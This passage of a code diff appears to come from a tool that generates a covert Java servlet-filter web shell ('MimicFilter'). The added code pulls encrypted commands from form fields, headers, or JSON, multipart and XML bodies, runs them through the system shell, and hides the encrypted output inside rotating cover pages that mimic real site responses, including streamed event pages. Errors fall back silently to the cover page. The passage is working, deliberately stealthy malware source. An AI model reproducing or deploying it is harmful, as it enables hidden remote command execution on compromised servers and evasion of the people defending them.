* caching wrapper, so the app's own endpoints (and other shells behind us)
|
|
3777
|
+
* still see the body. Anything that is not ours falls through chain.doFilter;
|
|
3778
|
+
* any error answers with the plain cover template.
|
|
2848
3779
|
*/
|
|
2849
3780
|
public class ${className} implements Filter {
|
|
2850
3781
|
/** carriers that may hold the ciphertext (form fields / headers, from the profile) */
|
|
2851
3782
|
static final String[] FIELDS = { ${fieldsJava} };
|
|
3783
|
+
/** body Content-Type needles the shell owns \u2014 anything else passes with its body untouched */
|
|
3784
|
+
static final String[] BODY_CTS = { ${bodyCtsJava} };
|
|
2852
3785
|
/** credentials \u2014 must match the client's --pass/--key (key + marker derivation) */
|
|
2853
3786
|
static final String PASS = "${javaStringLiteral(pass)}";
|
|
2854
3787
|
static final String SECRET = "${javaStringLiteral(secret)}";
|
|
2855
|
-
/** Cover
|
|
3788
|
+
/** Cover bodies from the site profile \u2014 rotated per response so the skin varies. */
|
|
2856
3789
|
static final String[] TPLS = {
|
|
2857
3790
|
${tplsJava}
|
|
2858
3791
|
};
|
|
3792
|
+
/** Content-Type of each cover body (parallel to TPLS). */
|
|
3793
|
+
static final String[] CTS = { ${ctsJava} };
|
|
2859
3794
|
|
|
2860
3795
|
public void init(FilterConfig filterConfig) {}
|
|
2861
3796
|
public void destroy() {}
|
|
2862
3797
|
${sharedMethods(cipher)}${wrapPayloadMethod(cipher.marker)}
|
|
3798
|
+
static byte[] readAll(InputStream in) throws IOException {
|
|
3799
|
+
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
|
3800
|
+
byte[] buf = new byte[8192];
|
|
3801
|
+
int n;
|
|
3802
|
+
while ((n = in.read(buf)) != -1) bos.write(buf, 0, n);
|
|
3803
|
+
return bos.toByteArray();
|
|
3804
|
+
}
|
|
3805
|
+
|
|
3806
|
+
/** read the body only when its Content-Type is one the profile actually uses */
|
|
3807
|
+
static boolean ctMatches(String ct) {
|
|
3808
|
+
String l = ct.toLowerCase();
|
|
3809
|
+
for (String n : BODY_CTS) if (l.contains(n)) return true;
|
|
3810
|
+
return false;
|
|
3811
|
+
}
|
|
3812
|
+
|
|
3813
|
+
/** minimal "field":"value" extraction \u2014 cipher values carry no quotes/escapes */
|
|
3814
|
+
static String jsonField(String body, String field) {
|
|
3815
|
+
String needle = "\\"" + field + "\\"";
|
|
3816
|
+
int i = body.indexOf(needle);
|
|
3817
|
+
if (i < 0) return null;
|
|
3818
|
+
int colon = body.indexOf(':', i + needle.length());
|
|
3819
|
+
if (colon < 0) return null;
|
|
3820
|
+
int q1 = body.indexOf('"', colon + 1);
|
|
3821
|
+
if (q1 < 0) return null;
|
|
3822
|
+
int q2 = body.indexOf('"', q1 + 1);
|
|
3823
|
+
if (q2 < 0) return null;
|
|
3824
|
+
return body.substring(q1 + 1, q2);
|
|
3825
|
+
}
|
|
3826
|
+
|
|
3827
|
+
/** minimal multipart extraction: the value follows the part headers of name="field" */
|
|
3828
|
+
static String multipartField(String body, String field) {
|
|
3829
|
+
String needle = "name=\\"" + field + "\\"";
|
|
3830
|
+
int i = body.indexOf(needle);
|
|
3831
|
+
if (i < 0) return null;
|
|
3832
|
+
int sep = body.indexOf("\\r\\n\\r\\n", i + needle.length());
|
|
3833
|
+
int sepLen = 4;
|
|
3834
|
+
if (sep < 0) { sep = body.indexOf("\\n\\n", i + needle.length()); sepLen = 2; }
|
|
3835
|
+
if (sep < 0) return null;
|
|
3836
|
+
int start = sep + sepLen;
|
|
3837
|
+
int end = body.indexOf('\\n', start);
|
|
3838
|
+
if (end < 0) end = body.length();
|
|
3839
|
+
String v = body.substring(start, end).trim();
|
|
3840
|
+
return v.isEmpty() ? null : v;
|
|
3841
|
+
}
|
|
3842
|
+
|
|
3843
|
+
/** minimal XML extraction: <field>value</field> */
|
|
3844
|
+
static String xmlField(String body, String field) {
|
|
3845
|
+
String open = "<" + field + ">";
|
|
3846
|
+
int i = body.indexOf(open);
|
|
3847
|
+
if (i < 0) return null;
|
|
3848
|
+
int start = i + open.length();
|
|
3849
|
+
int end = body.indexOf("</" + field + ">", start);
|
|
3850
|
+
if (end < 0) return null;
|
|
3851
|
+
return body.substring(start, end);
|
|
3852
|
+
}
|
|
3853
|
+
${wrapperLoaderMethods(opts)}
|
|
2863
3854
|
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
|
|
2864
3855
|
throws IOException, ServletException {
|
|
3856
|
+
HttpServletRequest httpReq = request instanceof HttpServletRequest
|
|
3857
|
+
? (HttpServletRequest) request : null;
|
|
2865
3858
|
String value = null;
|
|
2866
3859
|
for (String f : FIELDS) {
|
|
2867
3860
|
value = request.getParameter(f);
|
|
2868
|
-
if (value == null &&
|
|
3861
|
+
if (value == null && httpReq != null) {
|
|
2869
3862
|
// secretIn=header: the ciphertext may ride a header instead of a form field
|
|
2870
|
-
value =
|
|
3863
|
+
value = httpReq.getHeader(f);
|
|
2871
3864
|
}
|
|
2872
3865
|
if (value != null) break;
|
|
2873
3866
|
}
|
|
3867
|
+
if (value == null && httpReq != null) {
|
|
3868
|
+
// the ciphertext may ride a raw body of any bodyTemplate shape
|
|
3869
|
+
// (JSON / multipart / XML\u2026). Read it once and re-expose it
|
|
3870
|
+
// downstream via the caching wrapper.
|
|
3871
|
+
String ct = httpReq.getContentType();
|
|
3872
|
+
if (ct != null && ctMatches(ct)) {
|
|
3873
|
+
try {
|
|
3874
|
+
byte[] bodyBytes = readAll(httpReq.getInputStream());
|
|
3875
|
+
String bodyText = new String(bodyBytes, "UTF-8");
|
|
3876
|
+
for (String f : FIELDS) {
|
|
3877
|
+
value = jsonField(bodyText, f);
|
|
3878
|
+
if (value == null) value = multipartField(bodyText, f);
|
|
3879
|
+
if (value == null) value = xmlField(bodyText, f);
|
|
3880
|
+
if (value != null) break;
|
|
3881
|
+
}
|
|
3882
|
+
request = wrapBody(httpReq, bodyBytes);
|
|
3883
|
+
} catch (Throwable wrapperFailed) {
|
|
3884
|
+
// the body is already consumed \u2014 pass through as-is
|
|
3885
|
+
}
|
|
3886
|
+
}
|
|
3887
|
+
}
|
|
2874
3888
|
if (value == null) {
|
|
2875
3889
|
chain.doFilter(request, response);
|
|
2876
3890
|
return;
|
|
@@ -2882,11 +3896,13 @@ ${sharedMethods(cipher)}${wrapPayloadMethod(cipher.marker)}
|
|
|
2882
3896
|
cmd = decryptField(value, aesKey);
|
|
2883
3897
|
} catch (Exception notOurs) {
|
|
2884
3898
|
// the field exists but doesn't decrypt \u2014 this is someone else's
|
|
2885
|
-
// legitimate
|
|
3899
|
+
// legitimate request (e.g. the real login POST), stay invisible
|
|
2886
3900
|
chain.doFilter(request, response);
|
|
2887
3901
|
return;
|
|
2888
3902
|
}
|
|
2889
|
-
|
|
3903
|
+
int ti = new java.util.Random().nextInt(TPLS.length);
|
|
3904
|
+
String tpl = TPLS[ti];
|
|
3905
|
+
String tplCt = CTS[ti];
|
|
2890
3906
|
try {
|
|
2891
3907
|
String command = new String(cmd, "UTF-8");
|
|
2892
3908
|
boolean win = System.getProperty("os.name").toLowerCase().contains("win");
|
|
@@ -2895,22 +3911,37 @@ ${sharedMethods(cipher)}${wrapPayloadMethod(cipher.marker)}
|
|
|
2895
3911
|
: new ProcessBuilder("/bin/sh", "-c", command);
|
|
2896
3912
|
pb.redirectErrorStream(true);
|
|
2897
3913
|
Process proc = pb.start();
|
|
2898
|
-
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
|
2899
|
-
InputStream in = proc.getInputStream();
|
|
2900
|
-
byte[] buf = new byte[8192];
|
|
2901
|
-
int n;
|
|
2902
|
-
while ((n = in.read(buf)) != -1) bos.write(buf, 0, n);
|
|
2903
3914
|
proc.waitFor();
|
|
2904
|
-
String payload = encryptField(
|
|
2905
|
-
String
|
|
2906
|
-
|
|
2907
|
-
|
|
2908
|
-
|
|
3915
|
+
String payload = encryptField(readAll(proc.getInputStream()), aesKey);
|
|
3916
|
+
String page;
|
|
3917
|
+
if (tpl.contains("{{payload}}")) {
|
|
3918
|
+
// placeholder template (any text format): substitute exactly there
|
|
3919
|
+
page = tpl.replace("{{payload}}", payload);
|
|
3920
|
+
} else {
|
|
3921
|
+
String fragment = wrapPayload(payload, PASS + SECRET);
|
|
3922
|
+
int idx = tpl.toLowerCase().lastIndexOf("</body>");
|
|
3923
|
+
page = idx >= 0 ? tpl.substring(0, idx) + fragment + tpl.substring(idx) : tpl + fragment;
|
|
3924
|
+
}
|
|
3925
|
+
response.setContentType(tplCt);
|
|
2909
3926
|
response.setCharacterEncoding("UTF-8");
|
|
2910
|
-
|
|
3927
|
+
if (tplCt.contains("event-stream")) {
|
|
3928
|
+
// flush chunk by chunk \u2014 a real SSE endpoint streams, a
|
|
3929
|
+
// one-shot body is the wrong shape on the wire
|
|
3930
|
+
java.io.PrintWriter w = response.getWriter();
|
|
3931
|
+
for (String chunk : page.split("\\n\\n", -1)) {
|
|
3932
|
+
if (chunk.isEmpty()) continue;
|
|
3933
|
+
w.write(chunk);
|
|
3934
|
+
w.write("\\n\\n");
|
|
3935
|
+
w.flush();
|
|
3936
|
+
response.flushBuffer();
|
|
3937
|
+
try { Thread.sleep(30); } catch (InterruptedException ie) { break; }
|
|
3938
|
+
}
|
|
3939
|
+
} else {
|
|
3940
|
+
response.getWriter().write(page);
|
|
3941
|
+
}
|
|
2911
3942
|
} catch (Exception e) {
|
|
2912
|
-
// behave like the cover
|
|
2913
|
-
response.setContentType(
|
|
3943
|
+
// behave like the cover body on any error \u2014 stay quiet
|
|
3944
|
+
response.setContentType(tplCt);
|
|
2914
3945
|
response.getWriter().write(tpl);
|
|
2915
3946
|
}
|
|
2916
3947
|
}
|
|
@@ -3005,6 +4036,29 @@ function profileSecretFields(profile) {
|
|
|
3005
4036
|
const fields = [...new Set(shapes.map((r) => r.secretField).filter(Boolean))];
|
|
3006
4037
|
return fields.length > 0 ? fields : ["pass"];
|
|
3007
4038
|
}
|
|
4039
|
+
function ctNeedle(ct) {
|
|
4040
|
+
const media = ct.toLowerCase().split(";", 1)[0].trim();
|
|
4041
|
+
if (media.includes("json")) return "json";
|
|
4042
|
+
if (media.includes("multipart")) return "multipart";
|
|
4043
|
+
if (media.includes("xml")) return "xml";
|
|
4044
|
+
return media;
|
|
4045
|
+
}
|
|
4046
|
+
function profileBodyContentTypes(profile) {
|
|
4047
|
+
const needles = /* @__PURE__ */ new Set();
|
|
4048
|
+
for (const r of profileRequests(profile)) {
|
|
4049
|
+
if (r.secretIn !== void 0 && r.secretIn !== "body") continue;
|
|
4050
|
+
if (r.bodyTemplate !== void 0) {
|
|
4051
|
+
const explicit = Object.entries(r.headers ?? {}).find(
|
|
4052
|
+
([k]) => k.toLowerCase() === "content-type"
|
|
4053
|
+
)?.[1];
|
|
4054
|
+
const ct = explicit ?? inferBodyTemplateContentType(r.bodyTemplate);
|
|
4055
|
+
if (ct) needles.add(ctNeedle(ct));
|
|
4056
|
+
} else if (r.bodyStyle === "json") {
|
|
4057
|
+
needles.add("json");
|
|
4058
|
+
}
|
|
4059
|
+
}
|
|
4060
|
+
return [...needles];
|
|
4061
|
+
}
|
|
3008
4062
|
function defaultClassName() {
|
|
3009
4063
|
return `MimicFilter${randomString(4)}`;
|
|
3010
4064
|
}
|
|
@@ -3016,20 +4070,32 @@ async function buildCustomMemshell(input, client, deps = {}) {
|
|
|
3016
4070
|
const urlPattern = input.urlPattern ?? "/*";
|
|
3017
4071
|
const packer = input.packer ?? "DefaultBase64";
|
|
3018
4072
|
const cipher = resolveCipher(input.profile.cipher);
|
|
3019
|
-
const templates = profileTemplates(input.profile).map((t) =>
|
|
4073
|
+
const templates = profileTemplates(input.profile).map((t) => ({
|
|
4074
|
+
template: t.template,
|
|
4075
|
+
contentType: t.contentType
|
|
4076
|
+
}));
|
|
3020
4077
|
if (templates.length === 0) {
|
|
3021
4078
|
throw new Error(`profile '${input.profile.name}' has no templates \u2014 nothing to use as cover page`);
|
|
3022
4079
|
}
|
|
3023
4080
|
const outDir = input.outDir;
|
|
3024
4081
|
const packageDir = join6(outDir, "mimic");
|
|
3025
4082
|
mkdirSync4(packageDir, { recursive: true });
|
|
4083
|
+
const wrapperFile = join6(packageDir, "CachedBody.java");
|
|
4084
|
+
writeFileSync5(wrapperFile, renderWrapperJava(), "utf8");
|
|
4085
|
+
compile([wrapperFile], outDir, { classpath: [jarOf()] });
|
|
4086
|
+
const wrapper = {
|
|
4087
|
+
bodyB64: readFileSync6(join6(packageDir, "CachedBody.class")).toString("base64"),
|
|
4088
|
+
streamB64: readFileSync6(join6(packageDir, "CachedBody$Stream.class")).toString("base64")
|
|
4089
|
+
};
|
|
3026
4090
|
const javaSource = renderFilterJava({
|
|
3027
4091
|
className,
|
|
3028
4092
|
pass: input.pass,
|
|
3029
4093
|
secret: input.secret,
|
|
3030
4094
|
fields: profileSecretFields(input.profile),
|
|
4095
|
+
bodyContentTypes: profileBodyContentTypes(input.profile),
|
|
3031
4096
|
templates,
|
|
3032
|
-
cipher
|
|
4097
|
+
cipher,
|
|
4098
|
+
wrapper
|
|
3033
4099
|
});
|
|
3034
4100
|
const javaFile = join6(packageDir, `${className}.java`);
|
|
3035
4101
|
writeFileSync5(javaFile, javaSource, "utf8");
|